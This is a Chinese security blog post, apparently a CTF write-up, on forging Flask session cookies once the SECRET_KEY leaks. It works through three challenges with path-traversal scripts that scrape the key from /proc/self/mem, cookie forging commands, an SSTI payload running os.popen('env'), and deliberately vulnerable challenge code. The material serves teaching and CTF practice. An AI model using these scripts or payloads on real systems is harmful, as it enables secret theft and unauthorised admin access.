freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Flask Session伪造
2023-01-05 22:57:43
所属地 河南省

前言

Flask的Session伪造之前并未有太多了解,在跨年夜的CatCTF中遇到了catcat这道题,因此对此类题目进行一个简单总结,lx56大师傅已经对Flask有很详细的介绍了,因此这里是站在巨人的肩膀上看世界了属于是,膜拜大佬。

Flask

什么是Flask呢,他其实是一个基于Jinja2模板搭建而成的应用框架,具体如下所示

Flask是一个Web应用程序框架,使用Python编写。该软件由ArminRonacher开发,他领导着Pocco国际Python爱好者小组。该软件基于WerkzeugWSGI工具箱和Jinja2模板引擎.

Session

Flask中的Session,它是存在于客户端的,也就是说我们在进行登录过后可以看到自己的Session值,而当我们对这个Session值进行base64解码后,就可以读取它的具体内容。
对应Flask,它在生成session时会使用app.config['SECRET_KEY']中的值作为salt对session进行一个简单处理,那么这里的话,只要key不泄露,我们就只能得到具体内容,但是无法修改具体内容,因此这个时候就引发了一个问题,当key泄露的时候,就出现了内容伪造的情况,比如具体内容为{'name':'123'},而当我们掌握key时,可修改内容为{'name':'admin'},从而达到一个越权的效果,因此我们接下来就要说说CTF中怎么获取Key

Key的获取

有两种情况
第一种情况,当源码泄露时,Key也可能会泄露,它的泄露位置是config.py,在[HCTF2018]admin中有所体现。
第二种情况,就是当存在任意文件读取漏洞时,我们可以通过读取/proc/self/maps来获取堆栈分布,而后读取/proc/self/mem,通过真正则匹配筛选出我们需要的key,这个在[2022蓝帽杯]file_session中有所体现。
这里就以他为例来说一下这个Key的获取,其源码如下

import base64
import os
import uuid

from flask import Flask, request, session, render_template

from pickle import _loads

SECRET_KEY = str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))


# apt install python3.8

@app.route('/', methods=['GET'])
def index():
    return "/download?file=?"


@app.route('/download', methods=["GET", 'POST'])
def download():
    print(SECRET_KEY)
    filename = request.args.get('file', "static/image/1.jpg")
    offset = request.args.get('offset', "0")
    length = request.args.get('length', "0")
    if offset == "0" and length == "0":
        return open(filename, "rb").read()
    else:
        offset, length = int(offset), int(length)
        f = open(filename, "rb")
        f.seek(offset)
        ret_data = f.read(length)
        return ret_data


@app.route('/filelist', methods=["GET"])
def filelist():
    return f"{str(os.listdir('./static/image/'))} /download?file=static/image/1.jpg"


@app.route('/admin_pickle_load', methods=["GET"])
def admin_pickle_load():
    if session.get('data'):
        data = _loads(base64.b64decode(session['data']))
        return data
    session["data"] = base64.b64encode(b"error")
    return 'admin pickle'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

可以看到它的这个key是随机生成的uuid,在download路由中存在key,我们这里注意到他有三个参数,分别是fileoffset以及length,接下来按我们刚刚所说,第一步通过/proc/self/maps读取堆栈分布,然后在读取/proc/self/mem的内存数据。这里的话需要说明一下,内存中存在一个动态库/usr/local/lib/faketime/libfaketime.so.1,这个动态链接库是可以劫持程序获取时间时的返回值。在这里插入图片描述
因此我们这里可以使用这个来进行一个简单筛选,读取出堆栈分布,接下来进行读取内存,此时用一个uuid格式的正则匹配,就可以得到key(由于没有找到复现环境,这里使用的截图参考自其他师傅的Wp)

import requests, re

url = "http://192.168.244.133:7410/"
maps_url = f"{url}/download?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
# print(maps)
for m in maps:
    start, end = m.split("-")[0], m.split("-")[1]
    Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
    read_url = f"{url}/download?file=/proc/self/mem&offset={Offset}&length={Length}"
    s = requests.get(read_url).content
    rt = re.findall(b"[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}", s)
    if rt:
        print(rt)

在这里插入图片描述
此时就可以进行Session伪造了

题目

CTFshow内部赛[蓝瘦]

题目环境https://ctf.show/challenges
打开题目是一个环境框在这里插入图片描述
看源代码是否有注释在这里插入图片描述两个注释

param:参数,这里的话就可能是提示有名为ctfshow的参数
key:这里的话联想到FLask的Secret_key

随便输入一下,成功进入
在这里插入图片描述
界面回显admin,看一下cookie

Cookie: session=eyJ1c2VybmFtZSI6IjEifQ.Y7bSGw.KsS3ZA9BBEYGaflk2Sm5wS3dthw

flask_session_cookie_manager3.py进行解密

python flask_session_cookie_manager3.py decode -s "ican" -c "eyJ1c2VybmFtZSI6IjEifQ.Y7bNzg.k_DFbUcMkBDAZwZuKR2gvFuiQhc"

在这里插入图片描述
得到数据为{'username':'1'},猜测这里应该是想让我们修改为admin,因此修改1admin,而后进行加密

python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "ican"

在这里插入图片描述
将得到的Session去替换网站上的在这里插入图片描述
提示缺少参数,这里想到之前的ctfshow,拿上去看看在这里插入图片描述
有回显,想到这里可能是SSTI,检验一下在这里插入图片描述
用语句直接打

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
//ls后没找到flag,猜测藏环境变量里了,因此直接看env即可

在这里插入图片描述

[HCTF2018]admin

题目环境[HCTF2018]admin
进入环境后发现有两个功能点,注册和登录
在这里插入图片描述联想到SQL的二次注入,但尝试过后发现并非如此,此时无意间查看到修改界面处的源代码中存在注释
在这里插入图片描述
应该是源代码,查看配置文件后发现
在这里插入图片描述
key泄露,这里应该是考察Flask的session伪造,因此我们接下来对Cookie中的Session进行解密

python flask_session_cookie_manager3.py decode -s "ckj123" -c "Session值"

在这里插入图片描述
修改nameadmin,再进行加密

python flask_session_cookie_manager3.py encode -t "修改name为admin后的json字符串" -s "ckj123"

在这里插入图片描述
替换一下
在这里插入图片描述
成功获取Flag

CatCTF[cat cat]

题目环境https://ctfm.lxscloud.top/category/test/challenge/13
发现有file,尝试目录穿越,读取文件源码
在这里插入图片描述
代码有点乱,这里可以⽤bytes decode()⽅法获取格式化的源码
在这里插入图片描述
整体源码如下

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

首先映入眼帘的是flag部分

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")

这里的话可以看出是读取并删除flag文件,然后我们看哪里可以获取flag,看到admin路由

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"

admin=1时会返回flag,这个应该是需要伪造admin了,这里从源码中可以看出是Flask框架,所以这里的话应该就是Session伪造了,想要伪造SessionKey是必不可少的,我们这里注意到Key部分的代码

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

可以看到Key是随机生成uuid后去除-而后再拼接*abcdefgh组成的。 获取key的话,这里联想到Python存储对象的位置在堆上,我们这里的app是实例化的Flask对象,key的位置是app.config['SECRET_KEY'],所以我们理论上可以通过读取/proc/self/mem来读取key,但由于/proc/self/mem内容较多,同时存在不可读取的内容,直接读取它的话会导致程序崩溃,所以这里我们采用的方法是先读取/proc/self/maps获取堆栈分布,而后再在其中读取/proc/self/mem,读取对应位置的内容,接下来利用正则匹配筛选即可获取key,这个与蓝帽杯file_session中的获取key部分有异曲同工之妙,具体可以看这篇文章
https://mp.weixin.qq.com/s/A9OmgHAmGLJPEL4cQBU8zQ
然后读取文件部分的话,是info路由

@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))

获取到三个可控参数,startend以及file,我们这里可以参考蓝帽杯的Wp,简单修改一下参数和筛选规则,就可以得到key,构造脚本如下

import requests, re

url = "http://f014a421-a286-4ff6-a275-4fa0488315d6.ctfm.lxscloud.top/"
maps_url = f"{url}/info?file=../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
#print(maps)
for m in maps:
    start, end = m.split("-")[0], m.split("-")[1]
    start, end = str(int(start, 16)), str(int(end, 16))
    read_url = f"{url}/info?file=../../proc/self/mem&start={start}&end={end}"
    s = requests.get(read_url).content
    rt = re.findall(b"[a-z0-9]{32}\*abcdefgh", s)
    if rt:
        print(rt)

运行结果如下图
在这里插入图片描述
成功获取key,接下来利用flask-session-cookie-manager来伪造session
访问admin路由,获取session
在这里插入图片描述
接下来我们进行解码

python flask_session_cookie_manager3.py decode -s "密钥" -c "Session值"

在这里插入图片描述
可以看到这里结果为{'admin':0},我们修改为{'admin':1},再对其进行加密

python flask_session_cookie_manager3.py encode -s "28d470b5a8164df4b6c77ce187e52e6d*abcdefgh" -t "{'admin': 1}"

在这里插入图片描述
接下来将伪造的Session值拿去替换掉网站的Session,再刷新界面
在这里插入图片描述
成功获取到Flag

参考文章

https://lxscloud.top/2022/10/09/Python_Flask
https://www.leavesongs.com/PENETRATION/client-session-security.html

# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录